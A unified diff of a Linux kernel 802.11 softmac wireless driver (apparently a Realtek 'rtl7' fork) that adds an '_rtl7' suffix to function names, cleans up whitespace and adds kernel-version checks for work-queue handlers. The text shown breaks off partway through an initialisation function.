inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1300,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1327,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1466,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1477,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1620,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1645,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1659,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1676,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1706,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1728,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1756,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1779,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { - + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1876,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1907,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1952,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1962,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2014,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_disassociate(ieee); + ieee80211_stop_scan_rtl7(ieee); + + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2138,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2170,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + 